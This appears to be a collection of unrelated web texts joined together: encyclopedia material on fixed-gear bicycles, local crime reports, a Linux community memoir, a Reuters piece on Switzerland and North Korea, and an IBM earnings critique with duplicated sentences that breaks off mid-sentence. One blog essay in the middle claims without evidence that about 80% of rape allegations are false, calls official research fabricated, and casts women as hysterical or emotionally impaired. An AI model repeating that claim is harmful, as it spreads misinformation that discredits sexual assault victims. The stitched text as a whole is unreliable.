a bike equipped with a front brake.[30] As a vehicle brakes, weight can be transferred towards the front wheel and away from the rear, decreasing the amount of grip the rear wheel has. Transferring the rider's weight back increases rear wheel braking efficiency, but a front wheel fitted with an ordinary brake might provide 70% or more of the braking power when braking hard.[citation needed] Legality [ edit ] Austria – Brakeless bicycles are not legal to be driven on public roads. Every bike has to have two independent brakes, several reflectors and front and back lighting when conditions require it.[31] Australia – Bicycles are regarded as vehicles under the Road Rules in every state. A bike is required by law to have at least one functioning brake.[32] Belgium – All bicycles are required to have easy-to-hear bells and working brakes on both wheels. Lights and reflectors are not required on race, mountain, and children's bikes when not used after dark. Other (normal) bikes need reflectors and lights. These lights may be attached to the body and may blink.[33] Brazil – Brazilian Traffic Law, article 105, subheading VI, says that, for bicycles, "bells, rear, front, sides and pedals signaling, and rear-view mirror on the left" are mandatory.[34] Albeit, nothing is explicitly said about bicycle brakes. Canada – Laws vary by province, and are controlled by highway and traffic acts.[35] In Ontario[36] and in Québec,[37] a rear brake is required, and not having one may subject the rider to a fine. Denmark – All bicycles are required to have working brakes on both wheels, reflectors, and bells.[38] France – A bike must have 2 brakes, 2 lights, numerous reflectors, and a ringer to be approved for road traffic. The laws are rarely enforced, however, and the sight of all kinds of non-officially-approved bikes is common.[39] Germany – All bicycles are required to have working brakes on both wheels, reflectors, and bells.[40] A local court in Bonn accepted that the fixed-gear mechanism was a suitable back brake,[40] but high-profile crackdowns specifically targeted fixed-gear bicycles in Berlin in an attempt to control what police described as a "dangerous trend"[41][42] Hungary – All bicycles are required to be equipped with two independent sets of brakes. Front and rear lamps, reflectors and a bell are also required.[43] Italy – All bicycles must have tires, two independent sets of brakes, a bell, a front white lamp, a rear red lamp and reflector, amber reflectors on pedals and sides.[44] The laws however are rarely enforced. Netherlands – All bicycles are required to have an adequate brake system.[45] New Zealand – By law all bicycles must have a minimum of "...a good rear brake..."–and those made since 1 January 1988 must also have "...a good front brake..."[46] Poland – All bicycles must have at least one functional brake.[47] Spain – All bicycles are required to have an adequate brake system on front and rear wheels, plus a bell.[48] Sweden – Bicycles are required to have a brake and bell. Additionally, when it's dark outside they are required to have lights facing forward and back as well as reflectors facing forward, back and to the sides.[49] United Kingdom – The Pedal Cycles (Construction and Use) Regulations 1983 require pedal cycles "so constructed that one or more of the wheels is incapable of rotating independently of the pedals, be equipped with a braking system operating on the front wheel"; riding a fixed-gear bicycle with no front brake on the street is illegal.[50] Following the conviction of UK cyclist Charlie Alliston, who knocked over and killed a woman whist riding a fixed-gear bicycle with no front brake, the UK Government announced a review of the laws covering "dangerous cycling" in September 2017. [51] A brake on the rear wheel is only required for free-wheel bicycles.[52] United States – The use of any bike without brakes on public roads is illegal in many places, but the wording is often similar to "...must be equipped with a brake that will enable the person operating the cycle to make the braked wheels skid on dry, level and clean pavement..."[53] which some have argued allows the use of the legs and gears.[54] The retail sale of bikes without brakes is banned by the U.S. Consumer Product Safety Commission[55] – but with an exception for the "track bicycle" (...a bicycle designed and intended for sale as a competitive machine having tubular tires, single crank-to-wheel ratio, and no free-wheeling feature between the rear wheel and the crank...).[56] Conversion [ edit ] Many companies sell bicycle frames designed specifically for use with fixed-gear hubs. A fixed-gear or track-bike hub includes special threads for a lockring that tightens in the opposite (counter-clockwise) direction compared with the sprocket. This ensures that the sprocket cannot unscrew when the rider "backpedals" while braking.[57] A horizontal dropout on a steel frame road bicycle converted to a single-speed . The derailleur hanger (below the axle) and an eyelet (above the axle) for mounting a fender or rack, both integral parts of the original frame, are now unused. For a variety of reasons, many cyclists choose to convert freewheel bicycles to fixed gear. Frames with horizontal dropouts are straightforward to convert, frames with vertical dropouts less so.[58] One method is to simply replace the rear wheel with a wheel that has a track/fixed hub. Another is to use a hub designed for use with a threaded multi-speed freewheel. Such a hub only has the normal right-handed threads for the sprocket and not the reverse threads for the lockrings used on track/fixed hubs. The sprocket on a hub without a lockring may unscrew while back pedalling. Even if a bottom bracket lockring is threaded onto the hub, along with a track sprocket, because the bottom-bracket lockring is not reverse threaded, the possibility still exists that both the sprocket and locknut can unscrew. Therefore, it is recommended to have both front and rear brakes on a fixed-gear bicycle using a converted freewheel hub in case the sprocket unscrews while backpedaling. It is also advisable to use a thread sealer for the sprocket and bottom bracket locking. The rotafix (or "frame whipping") method may be helpful to securely install the sprocket. Chain tension [ edit ] Bicycles with vertical dropouts and no derailleur require some way to adjust chain tension. Most bicycles with horizontal dropouts can be tensioned by moving the wheel forward or backward in the dropouts. Bicycles with vertical dropouts can also be converted with some additional hardware. Possibilities include: An eccentric hub or bottom bracket allows the off center axle or bottom bracket spindle to pivot and change the chain tension. hub or bottom bracket allows the off center axle or bottom bracket spindle to pivot and change the chain tension. A ghost or floating chainring is an additional chainring in the drive train between the driving chainring and sprocket. The top of the chain moves it forward at the same speed that the bottom of the chain moves it backwards, giving the appearance that it is floating in the chain. or chainring is an additional chainring in the drive train between the driving chainring and sprocket. The top of the chain moves it forward at the same speed that the bottom of the chain moves it backwards, giving the appearance that it is floating in the chain. A magic gear—the right math can calculate a gearing ratio to fit a taut chain between the rear dropout and bottom bracket.[ further explanation needed ] Also, using a chain half link and slightly filing the dropouts to increase the width of the slot increases the chances of finding a magic gear. It is worth noting that the magic gear setup is controversial, due to inevitable chain stretch and subsequent slippage that can lead to serious injury. Separate chain tensioning devices, such as the type that attaches to the dropout (commonly used on single speed mountain bikes) cannot be used because they are damaged as soon as the lower part of the chain becomes tight. Chainline [ edit ] Additional adjustments or modification may be needed to ensure a good chainline. The chain should run straight from the chainring to the sprocket, therefore both must be the same distance away from the bicycle's centerline. Matched groupsets of track components are normally designed to give a chainline of 42 mm, but conversions using road or mountain bike cranksets often use more chainline. Some hubs, such as White Industries' ENO, or the British Goldtec track hub, are better suited to this task as they have a chainline greater than standard. Failure to achieve good chainline, at best, leads to a noisy chain and increased wear, and at worst can throw the chain off the sprocket. This can result in rear wheel lockup and a wrecked frame if the chain falls between the rear sprocket and the spokes. Chainline can be adjusted in a number of ways, which may be used in combination with each other: Obtaining a bottom bracket with a different spindle length, to move the chainring inboard or outboard Choosing a bottom bracket with two lockrings, which gives fine adjustment of chainring position Respacing and redishing the rear wheel, where permitted by the hub design Placing thin spacers under the bottom bracket's right-hand cup (Sturmey-Archer make a suitable 1/16" spacer) to move the chainring outboard Placing thin spacers between the chainring and its stack bolts to move it inboard (if the chainring is on the inside of the crank spider) or outboard (if the ring is on the outside of the spider) Placing thin spacers between the hub shoulder and the sprocket. This is recommended in the case of a freewheel-threaded hub, which has sufficiently deep threads for this operation. Usually, the rear hub is the best component on which to perform chainline adjustments, especially on threaded hubs. If a track hub is used, it is better to operate on the bottom bracket or - for minor shifts - on the crankset. The same occurs if a flip-flop hub is used, because the chainline should be the same in both sides (freewheel and fixed gear).[59] Gear ratio [ edit ] A commonly used gear ratio that works well in most situations is 2.75:1, which can be implemented with a 44-tooth chainring and a 16-tooth rear sprocket. [60] Competition [ edit ] There are many forms of competition using a fixed gear bike, most of the competitions being track races. Formal track races most often take place in a velodrome, a circular track that is constructed of concrete or wood and can be indoor or outdoor. Race types such as common scratch races or more complex omnium races take place in these arenas. Track race taking place at the Hellyer Park Velodrome in San Jose, California Keirin is a form of motor-paced cycle racing on a track with fixed-gear bicycle that meet a strict system of standards. Moreover, bike messengers and other urban riders may ride fixed gear bicycles in alleycat races, which are normally held in city streets, including New York City's famous fixed-gear-only race Monstertrack alleycat. Similarly, Wolfpack Hustle began in 2005 simply as ride bringing together fast paced bicycle riders with the common love for riding and has expanded to an internationally known race series that takes place in Los Angeles, California.[61] The group has managed to receive sponsorships from several well-known companies including Castelli, which is an over-130-year-old Italian cycling clothing brand, helping spread interest and knowledge about the group and the races they hold.[62] In San Francisco, California, Red Bull holds Red Bull Ride + Style events, which bring together both track and freestyle fixed-gear riders from around the world for competitions.[63] There are also events based on messenger racing, such as Mixpression, which has been held nine times[needs update] in Tokyo. Trick demonstrations have been held since the late 1800s in the US and Europe;[64] while they continued into a competitive form in Europe (artistic cycling), subsequent to the recent[needs update] widespread popularity and advancement of fixed gear bikes, trick competitions have also now established themselves at venues in the US and Asia.[65] European competitions include solo and team balletic movements on a controlled, flat surface; US and Asian competitions often include "park" and "flatland" styles and venues, a la BMX. Other competitions include games of "foot down" and bike polo. In 2006, Adventures for the Cure made a documentary film on riding across the United States on fixed gears; they repeated this feat as a 4-man team at the 2008 Race Across America. Fixed gear riders sharing the specific philosophy are also seen at the Single Speed World Championships. Maintenance and upkeep [ edit ] Maintaining a fixed gear is relatively easy because it has fewer parts than a geared bicycle. The sprocket should be checked regularly to make sure there is no damage to any teeth and that no object is grinding it as it turns with the rear wheel. The chainring should be checked similarly for any damage. There is an advantage to selecting a number of chainring teeth that is not a round multiple of the number of sprocket teeth (e.g. 3) because this avoids coincidence of the same chainring and sprocket teeth, and tyre contact patch, on each of the rider's power strokes. For riders who perform brakeless skid-stops, it is best to select prime-numbered chainrings (e.g. 41, 43 or 47 teeth) to guarantee that rear tyre wear is spread evenly. It is imperative (for road riding, at least) that the chain is sufficiently tight that it is impossible for it to derail from either the chainring or sprocket. This generally equates to "no visible slack". A derailed chain can cause a variety of undesirable consequences, such as a locked rear wheel or, worst of all, destruction of the frame if the chain becomes caught around the crank arm and pulls the rear triangle forwards. On a fixed-gear bicycle without hand brakes, even a relatively benign derailment means a total loss of braking ability. Tensioning aside, a chain is significantly less likely to derail if the chainline is accurate and the chain is a traditional "full bushing" type with limited lateral flexibility. Because the difference between a tight and a slack chain equates to only very minor elongation of the links, chain tension should be visually checked at least weekly, especially if the bicycle is ridden in wet or dirty conditions. As with any other bicycle, the chain should be checked making sure the master link is securely latched. The chain can be lubricated monthly for smooth riding.[66] Also, as needed, the brakes should be tightened as they wear and tire condition observed for possible puncture locations. Air pressure in the tires, tire alignment, brake handle placement, and rust should be monitored on a daily basis because they can change very easily during a jarring ride. Subculture [ edit ] Australia [ edit ] Until recently,[when?] the Australian fixie culture has been small. However, with the strong Australian dollar and cost effective manufacturing and importing from China, Australia has seen many new online stores capitalise on the cheap steel frames commonly imported to the UK and US. Online stores in Australia ship partially-assembled bikes directly to consumers, considerably undercutting prices at typical brick and mortar stores.[67] Canada [ edit ] Fixed gear bikes have become much more popular in Canada within the last couple years.[when?] Cities like Toronto, Ottawa, Vancouver and Montreal have many fixed gear riders, mostly in the downtown areas.[citation needed] China [ edit ] A fixed-gear bike in China. Fluorescent colors are typical, and part of the trend. Around 2012, throughout China, fixed gear bikes became a popular trend among teenagers.[citation needed] The bikes are typically painted in fluorescent colors. Russia [ edit ] Fixed Gear Moscow [ edit ] In 2007, a few activists started assembling and riding fixed gear bikes in Moscow.[68] There had been people riding fixed gear bikes on the street in Moscow prior that time, but it had never developed into any feasible subculture.[vague] Appearances of the design in foreign media began increasing around that time, attracting more people to the concept. A Fixed Gear Moscow LiveJournal blog community was formed, which allowed riders to communicate with each other and share ideas for rides. As interest grew, a separate web site was created to host the blog and the forum.[citation needed] Fixed Gear Moscow has organized numerous alleycat races, tournaments, and other events to keep the community growing. Several side projects have been initiated by members of Fixed Gear Moscow and are still[needs update] in development.[clarification needed][citation needed] Red Bull Fix Boulevard [ edit ] In September 2013 Red Bull and Moscow government organized first race for fixed gear bikes in Moscow city center on the Boulevard ring. Distance that participants had to overcome was about 50 kilometers. The race was repeated in 2014 and is planned for 2015.[69] Sweden [ edit ] Community [ edit ] The fixed-gear movement is growing [needs update] in Sweden. A cornerstone of the Swedish fixed-gear society is the Internet-based forum Fixedgear.se, with over 2300 registered members [needs update]. This makes up for the main meeting ground and discussion forum for Swedish fixed-gear riders and enthusiasts.[citation needed] There are also several bicycle clubs throughout Sweden with a fixed-gear niche. Komet Club Rouler is a club based in Gothenburg, annually arranging Svart Katt and other fixed-gear oriented activities. Svart Katt has been internationally recognized and is considered Sweden’s largest alley cat by number of participators, according to Cog Magazine. KCR’s equivalent in Malmö is called Pista Malmø,[70] arranging ”Thursday's rides” every Thursday, for all bikes and riders. Stockholm also has its own informal fixed gear bicycle club, called Fista Sthlm. Popularity factors [ edit ] Several factors contribute to the recent [needs update] rise in popularity of fixed-gear bicycle. A rider from Stockholm interviewed for an article about the phenomenon notes that riding a bike imparts a feeling of freedom to the rider. One is free to go wherever one wants, whenever one wants. A sense of belonging is also important; as the rider says, "all who cycle are my friends". Riders unknown to each other commonly greet each other when on bikes. As in many subcultures, this feeling of belonging is a key factor in recruiting and retaining participants.[71] The fact that many fixie riders ride brakeless in defiance of local law could also be viewed as a contributing factor to its popularity; it provides an outlet for minor rebellion.[72] UK [ edit ] A relatively new movement in the UK, fixie bikes are on the rise.[citation needed] United States [ edit ] California [ edit ] A Cinelli MASH Histogram Frame California’s fixed gear community stretches throughout the state with groups in all of the major urban areas that come together for riding and racing. Beginning in the north, Sacramento has a rising fixed-gear community as popular bicycle shops such as The Bicycle Business are beginning to carry fixed gear bikes and groups of riders are forming.[73] Moving to the Bay Area, San Francisco and San Jose have well established fixed gear communities who host several established races and community rides. For example, the San Jose Bike Party, held on the third Friday of every month, is dedicated to “building community through bicycling” and contains a majority of fixed gear riders, although all bikes are welcome.[74] Moreover, companies such as Chrome Industries, who make bags and apparel catered toward bike messengers and urban cyclists, have been able to rise to worldwide prominence thanks to San Francisco and California’s biking community.[75] Also, stores such as MASH SF based in San Francisco,[76] and IMINUSD based in San Jose[77] accommodate fixed-gear cyclist specifically with riding gear, parts, and a center for the fixed-gear riding community in their respective cities. MASH SF collaborates with the Italian bicycle manufacturing company, Cinelli, to make several fixed gear bike framesets, including what is known as the Cinelli MASH Histogram.[78] Furthermore, Macaframa is a group of riders from San Francisco who release movies dedicated to fixed-gear riding that encompass the fast paced lifestyle that comes along with riding fixed.[79] Lastly, Southern California is home to a very large fixed community, particularly in the greater Los Angeles area. Los Angeles based TRAFIK is a group dedicated to global fixed gear culture, as they boast the motto “TRAFIK is Global Fixed Gear Culture” and work towards bringing the fixed-gear movement to a worldwide audience.[80] Circus bikes [ edit ] A circus performer standing on a fixed-gear bicycle A fixed gear bike is also used in the circus arts. When the saddle and handlebars are at the same height, an acrobat can stand on the handlebars and saddle and perform acrobatic exercises, sometimes involving multiple people, while continuing to circle the circus ring. In popular culture [ edit ] The 2012 film Premium Rush uses a "fixie" as a running plot device. Wilee, the lead character played by Joseph Gordon-Levitt, works as a bike messenger in Manhattan, and his fellow riders rib him about his enthusiasm for his fixed-gear steel-frame bike with no brakes. He avoids one confrontation by pedaling the bicycle backward, and he successfully weaves through dangerous traffic, but he also gets into accidents because the fixed-gear style abets his avidity for speed. Wilee says, "I like to ride. Fixed gear. No brakes. Can't stop. Don't want to, either."[81] See also [ edit ] Media related to Fixed-gear bicycles at Wikimedia Commons -One of the suspect vehicles was described as being a white Mazda 3. Police are searching for several suspects wanted in connection with a robbery at a Mira Mesa home in early July. The robbery happened on July 1 at a home in the 7000 block of Embry Point near Bacadi Drive, according to the San Diego Police Department (SDPD). That evening, approximately 80 to 100 people were at the victim's home prior to the incident, attending a party. Some of those people were invited guests, and others were not, officials said. Police responded to the home that evening, giving the host a first response notice. Shortly after, the victim asked guests to leave his party. That's when a group of four to six strangers showed up and attempted to get inside the victim's home, police said. When the victim tried to stop them, the confrontation turned into a physical altercation. The victim was beaten inside his home, police said. The suspects stole his wallet and phone and took off in two separate vehicles. One of the suspected vehicles is believed to be a white Mazda 3 driven by a woman. That car slammed into a parked car on Embry Way before driving off, police said. The suspects are described to be in their 20s, but police do not have a more detailed description. Anyone with information is asked to call San Diego Crime Stoppers at (888)580-8477. A $1,000 reward is being offered for any information leading to an arrest. -May 17th, 2016 Linux, the GPL and the Power of Sharing The Heart of Linux How a nonbeliever discovered that there is a Santa Claus, Easter Bunny, Tooth Fairy and a Linux community. Well…he discovered the Linux community anyway. It was back in 2008 that I got a good dressing down for a comment I made about the Linux community. It wasn’t so much a comment as it was a declaration that there isn’t a Linux Community.. Let me quote that declaration for you: “There is no Linux Community. On our best day we are nothing more than a group of rivaling factions, running and gunning, leaving a bloody trail across the Internet badlands.” That’s what I said. That’s what I believed. The Linux community, as an entity, ranked right up there in viability with Santa Claus, the Easter Bunny and the Tooth Fairy. Of course, that particular period wasn’t exactly a happy time for me. A surprising demand for a divorce coupled with another family member being diagnosed with Alzheimer’s had me on the ropes emotionally. I wasn’t particularly receptive to hand holding and Kumbaya. I held that opinion about the Linux community for a number of years. And then I got sick. Extremely sick. Sick unto death. Stay with me here because I need to tell you the whole story in order for this all to make sense. Some of you may know, some may not, but on February 26th, 2012 I was diagnosed with stage four throat cancer. The tumor had grown so quickly and aggressively that I had to go to the emergency room in order to be able to breath. Did I already know I had cancer? Yes I did, but I was uninsured and it’s hard to find care when the provider knows you are a charity case. I just didn’t bother. Oh, The VA you ask? Geek please. I had the poor judgement to become ill right in the middle of the Veterans Administration scandal. For those not knowing, many major VA centers were busted for throwing away or deleting patient contact forms in order to not be snowed under by those needing their services. You know, those people who bled into the sands of foreign lands in order to protect those who could not protect themselves. Are you suggesting that I go see those “medical professionals” in order not to die? It wouldn’t have mattered. They would have lost my records anyway. So there I was, in an emergency room, having a trach brutally punched through my throat, without anesthesia or any deadening. It was brute force grinding through gristle and sinew until the blunt punch broke through into my airway, bypassing the tumor and allowing me the ability to breath without any blockage. I was then anesthetized and placed into ICU. I don’t remember much of the next few days, until I woke to my family and loved ones around me. The emergency room ENT who had placed my trach had told them there was nothing that could be done. I was terminal and the best they could do was take me home and make me comfortable until the end. Well, obviously someone was full of…uh, bull. Diane demanded an oncologist look me over. I went home, I got comfortable, and here I am, alive and relatively well, fairly comfortable telling you the story of how I was supposed to die and how I didn’t bother to follow those instructions. After fifteen days and now undergoing radiation and chemotherapy, I was sent home. Now, with me not having any idea, the love of my Life, Diane, began talking to people online, telling people that I needed surgery and that she was trying to raise money in order to make that a possibility. At the same time, I was talking to my good, good friend and award-winning author Thomas Knight. I needed a side-light monitor in order to spend any time at my computer. The back light monitors emitted a frequency that made me horribly nauseous, which was a side-effect of the cancer treatments. Thomas started an Indiegogo fundraiser, along with two other good friends, in order to get me the monitor. I got monitor, so I knew about those fundraising efforts. But let me tell you what I didn’t know. Thomas began conspiring with people in and around his Google Plus circles, and those people began to make contact with other people. Before I was aware of it, Thomas, Dave Rea and others had extended that Indiegogo effort in order to help raise the money needed for my surgery. I’ll stop here, because most of the rest is well known. Those people raised in excess of $50,000 for my medical needs. But here’s the part that took all the wind out of my sails, so to speak. The donation amount stayed stagnant at twelve grand for a couple of weeks. Do you want to know where the spike in donations came from? The spike that took that figure up tand over the 50K goal? It was when my story hit the Linux news sites. Sites like Linux Today and Lxer. The Hacker News and other Linux magazines and news outlets began publishing about my ordeal. I had to ask that the donations stop. We had met our goal and if that campaign had not stopped, I have no doubt that it would have brought in 100K. But I didn’t need that much money. I had reached the sum necessary, a sum that had been reached after the Linux community rallied behind and around me, and literally saved my life. Thank you. Even after I denied your existence and looked down my nose at such rabble-rousers, you people stepped up and carried me through the hardest ordeal I’ve ever experienced. So…let’s fast forward to this past Sunday. Good, long-time friends Don and Lisa had threatened to come all the way from Llano Texas to visit Diane and me in Taylor. Don mentioned that he might need to purchase some components I have and we made the arrangements for that to happen, with lunch at Applebee’s a precursor to those sale negotiations. Now, I said they are long-time friends, and they are. We talk daily and sometimes more than once a day, but that’s via our connection through Google Plus. We have never met Lisa and Don face to face. Funny thing about that. We know what they do, how they do it, who they do it with and why they do what they do. Heck, I’ve lived next door to my current neighbor for two years and I don’t know a fraction as much about them as I do about Lisa and Don. They made good on their threat and made the trip to Taylor. We had a great time and I even gave them the grand tour of our recently reopened Reglue facility. As much of a mess as it is, they wanted to see “where it all happened.” It was a great Sunday, because we spent it with real friends. And those friends would have never become friends, or even acquaintances, if not for the Linux community. Yes Virginia, there is a Linux community. It’s alive and well in just about every place you want to imagine. And it’s doing quite well for itself. Quite well. Related -PHOTO BY JENNIFER SILVERBERG Planter's House is among the bars and restaurants that have suffered early-morning break-ins in the last month. At least eight south St. Louis bars and restaurants have suffered early-morning break-ins in the last month — although police caution they are not sure if the incidents are related. The burglaries have largely taken place between 3 a.m. and 6 a.m., in an area of the city stretching from Lafayette Square to Midtown to the Central West End and the area near Tower Grove Park. All have involved forced entry — and in some cases, damage to doorways and frames as intruders have battered their way in. In other cases, police say, the burglars removed air-conditioning units to slide in through windows or smashed glass doors to gain entry. In most cases, the burglars have taken cash. But at Gustine Market, they helped themselves to quantities of cigarettes. A safe and a laptop were stolen from 4 Hands Brewery, police say.The string of incidents has business owners comparing notes — and has at least one restaurant that hasn't yet been a victim deciding to invest in a security system.Fred Hessel, a co-owner of the Tick Tock Tavern in Tower Grove East and Eat Sandwiches in Tower Grove South, has twice been a victim. Police confirm that Eat Sandwiches was hit around 4:30 a.m. on September 24. Just three days later, at 5:49 a.m., intruders who broke into Steve's Hot Dogs then busted through a dead-bolted door connecting that business to Tick Tock Tavern. In both cases, Hessel says, he or his partners awoke to a call from their alarm company.Hessel says the burglaries were jarring."We're not high volume, but we're high quality," he says. "It's a pretty thin profit margin. So, it's dispiriting, I'll say that. Still, at the same time, that's part of being a small business owner. Stiff upper lip and all that."Ted Charak is a co-owner of Planter's House, which was also hit. On September 1, police say, a patio door was pried open and thieves ransacked an office."We have a security system," Charak says. "But they were in and out in five minutes." Still, he says, the alarm going off must have helped: "There was so much stuff they could have taken but didn't." Charak believes the culprits must have been people looking for drug money — "all they really care about is their next fix."Both Charak and Hessel say the burglaries were the first to affect their establishments in all their years of business."It sucks for sure," Charak says. "But it is what it is." -The Rape Illusion As I have pointed out on numerous occasions, the evidence from a number of sources suggests that the vast majority of rape allegations made to the police in western countries are false. The official research which suggests otherwise is so full of holes and carefully planned biases that it is quite clear that those involved in the research have bent over backwards to distort their findings in order to engender the illusion that false allegations are relatively uncommon. Indeed, the official research is worse than just 'biased', it is almost completely fabricated. And if one takes into account all the evidence relating to rape that is available from many different sources, it becomes fairly obvious that the false allegation rate is extremely high - in my view, close to 80%. However, there remains a strong resistance among people to accepting this point of view, and it is this particular resistance that I wish to address here. This resistance seems to stem mostly from the fact that the vast majority of women whom people know are decent human beings - most of the time - and when you tell such people that 80% of rape allegations are false, they think about the women whom they know and they think, "There is no way that most of the women whom I know would lie about rape." And I am sure that they are totally correct in thinking this. The majority of women would, indeed, not make a false allegation of rape. The majority of women would, indeed, not make a false allegation of rape. But what seems to happen is that people become confused in their minds, and they think that if some 80% of rape allegations are false then it follows that some 80% of women must be prone to making false allegations - and this, they do not accept. But to suggest that 80% of rape allegations are false is not to suggest that 80% of women would make false allegations. The false allegation rate, on its own, has precious little to say about the number of women who would make false allegations. For example, imagine that 100 rape allegations are made to the police throughout the year in the USA and, further, that every single one of them turns out to be false. Well, we have a 100% false allegation rate. Every woman who made an allegation has lied. But there are some 120 million women living in the USA, and so the percentage of women making false allegations (in this case, 100 women) is absolutely miniscule - less than one-thousandth of a percent of the total population of women. Thus, an extremely high false allegation rate (in this case, 100%) does not imply that a large percentage of women are making false allegations. It simply means that a high percentage of those women who are making allegations are making false ones. Now, here in the UK, we have some 15,000 rape allegations made to the police every year. the evidence suggests that some 80% of these allegations are false As far as I am concerned, the evidence suggests that some 80% of these allegations are false, which means that some 12,000 of these allegations are false. (Indeed, 95% of these allegations do not result in any convictions.) Now, given that some 24 million women live in the UK, the fact that some 12,000 of them are making false allegations means that some 0.05% of women are making false allegations - which is a very tiny fraction of the whole population of women. Indeed, at this rate, this would only amount to 1% of women making false allegations over a twenty-year period. In other words, the view that some 80% of rape allegations are false in the UK does not imply that some 80% of women would make false allegations. It simply suggests that some 1% of women are making false rape allegations over a twenty-year period. Is this really so hard to believe given the numerous incentives that are offered to all women who make false allegations? Is this really so hard to believe given the daily bombardment from the media urging women to feel abused and to allege abuse by men? Is this really so hard to believe given the fact that some 5% of women are also seriously impaired emotionally in one way or other - with unprovoked hysteria and aggression being fairly commonplace among such women. And what about the effects of hormones, alcohol, drugs, anger, jealousy, misunderstanding, sheer wickedness? Surely, it is very easy to believe that some 1% of women might make a false allegation over a twenty-year period. are our women so angelic Or are our women so angelic that, despite all the incentives, despite the constant urging, and despite the fact that many are emotionally impaired, it is still actually unthinkable that over a twenty-year period some 1% might stumble into making a false allegation of rape? Indeed, such a low figure would also, in fact, demonstrate just how resilient are UK women to succumbing to the numerous temptations to make a false allegation. After all, only 1% of them will succumb over a twenty-year period. And I do not think that it would be unfair to suggest that these particular women would likely be the most malicious, the most uncaring, the most manipulative, the most dishonest and/or the most emotionally aggressive of all the women who dwell amongst us. And there are, indeed, quite a few women with such characteristics. More than 1% of women would be my guess. Nevertheless, 99% of the entire population of UK women will resist all the incentives and all the temptations to make a false allegation throughout this very long time of twenty years. 99% !!! Not bad. Not bad at all - given all the ups and downs that life brings them. But the assumed false allegation rate which gave us this most heartening result and which demonstrated just how wonderful are our women is, in fact, 80%. the claim that 80% of rape allegations are false does not cast aspersions on the vast majority of women. In summary, therefore, the claim that 80% of rape allegations are false does not cast aspersions on the vast majority of women. It simply implies that a very tiny percentage of women are swamping the system with false allegations of rape; leaving genuine victims struggling to be believed. And all the valid evidence that I have ever seen is consistent with this view. In conclusion: Even if just 1% of UK women make a false allegation of rape over a twenty year period, then this will be sufficient to maintain a whopping 80% false allegation rate throughout the 20 years. And this appalling state of affairs can exist even if 99% of women are as good, and as honest, as a newborn babe. In other words, an 80% false allegation rate can easily be maintained even if 99% of women would not make a false allegation. -ZURICH (Reuters) - Switzerland has offered to mediate with North Korea as tension rises on the Korean peninsula following U.N. sanctions imposed in response to a North Korean nuclear weapon test in February. The Swiss foreign ministry recently made contact with the North Korean authorities but there are no current plans for any talks, a spokeswoman said. “Switzerland is willing to contribute to a de-escalation on the Korean peninsula and is always willing to help find a solution, if this is the wish of the parties, such as hosting meetings between them,” she said in an emailed statement. North Korea has issued increasingly strident warnings of imminent war with South Korea and the United States, urging diplomats on Friday to consider leaving Pyongyang. Swiss media say that North Korean leader Kim Jong-un, who took over in December 2011 after the death of his father Kim Jong-il, apparently spent several years in Switzerland being educated under a pseudonym. Neutral Switzerland often hosts peace talks and mediates in international conflicts, more recently between Russia and Ukraine and between the United States and Iran and Cuba. The Swiss Foreign Ministry said it had been involved in more than 15 sets of peace negotiations in the past seven years, including in Sudan, Colombia, Sri Lanka, Uganda and Nepal. Former Foreign Minister Micheline Calmy-Rey, who in 2003 became the first foreign government official to cross the demarcation line separating North and South Korea, said Pyongyang’s wishes had not changed much since then. “For North Korea, symbols are very important,” she told the SonntagsZeitung newspaper in an interview. “What the North Koreans still want is recognition and security guarantees from the United States.” Five Swiss and five Swedish officers monitor the demilitarised zone between the North and South. Urs Gerber, the Swiss head of the operation, said not much has changed in recent months. “We are just monitoring the situation more intensively,” he also told the SonntagsZeitung. -IBM, to IBMers, always stood for “I’ve Been Moved,” a reference to the way Big Blue moved employees around the country and around the globe to get experience as they worked their way up the ranks. To Wall Street, however, IBM could stand for “I’ve Been Manipulated,” because no public company we can think of does a better job of schmoozing Wall Street’s Finest and convincing them that there’s a there there, when in fact the there is not quite as there as it might seem. To Wall Street, however, IBM could stand for “I’ve Been Manipulated,” because no public company we can think of does a better job of schmoozing Wall Street’s Finest and convincing them that there’s a there there, when in fact the there is not quite as there as it might seem. The quarterly earnings calls are curiously synthetic, almost antiseptic affairs, run by the CFO and focused strictly on the numbers: on the revenue number, on the cash flow number, on the share buyback number, and on the earnings number. In particular, the per share earnings number. The CEO never graces the call, and no actual business operators discuss their business. No success stories are told, no customers highlighted. It is all about margins and currencies and so-called one-time charges and so-called one-time gains, and tax rates, and how all those things added up to the earnings per share that quarter. And, most especially, what that earnings per share means for The EPS Roadmap. But let’s back up a bit… But let’s back up a bit… In May 2007 IBM held an analyst meeting to introduce a “2010 Earnings Per Share Roadmap,” to “give our shareholders a clear understanding of the key factors driving IBM’s long-term financial objectives.” In May 2007 IBM held an analyst meeting to introduce a “2010 Earnings Per Share Roadmap,” to “give our shareholders a clear understanding of the key factors driving IBM’s long-term financial objectives.” Those objectives were EPS growth of 14-16% and EPS of $10-$11 by 2010. Those objectives were EPS growth of 14-16% and EPS of $10-$11 by 2010. To get there the company spelled out five “Key Drivers” of the Roadmap: revenue growth, margin expansion, share repurchases, acquisitions and retirement-related savings. To get there the company spelled out five “Key Drivers” of the Roadmap: revenue growth, margin expansion, share repurchases, acquisitions and retirement-related savings. And certainly IBM got there: in the 2010 annual report, IBM could proudly state that EPS had come in at $11.52—above the high end of the “Roadmap” range. loves companies that beat the high end of anything. And Wall Streetcompanies that beat the high end of anything. Now, it is true that the “revenue growth” piece of the Roadmap didn’t play out as perhaps many had expected: 2010 revenues were only 1% above 2007, the year the Roadmap was laid out. Now, it is true that the “revenue growth” piece of the Roadmap didn’t play out as perhaps many had expected: 2010 revenues were only 1% above 2007, the year the Roadmap was laid out. But the margin expansion and cost savings played out in spades: from that $1 billion in extra annual revenue sprang added gross profits, added operating profits, and added net income of $ 4 billion each, give or take (mostly give). : from that $1 billion in extra annual revenue sprang added gross profits, added operating profits, and added net income of $ 4 billion each, give or take (mostly give). Meanwhile, ample share repurchases acted like gasoline on the fire, juicing EPS almost 60% on that tiny 1% revenue gain. Meanwhile, ample share repurchases acted like gasoline on the fire, juicing EPS almost 60% on that tiny 1% revenue gain. So well did the 2010 “Roadmap” go over with shareholders and Wall Street alike, that IBM rolled out another: the 2015 Roadmap, comprising, in this order, “$8 billion of productivity improvement” (e.g. layoffs and reorgs); $50 billion in share repurchases and $20 billion in dividends; and “four growth priorities” that included emerging markets hitting 30% of revenue in 2015, business analytics (e.g. Watson, the Jeopardy champ) hitting $16 billion of revenue in 2015, cloud computing hitting $7 billion of revenue in 2015, and what IBM calls “building a smarter planet”—what everyone else calls “the internet of everything”—hitting $10 billion of revenue in 2015. So well did the 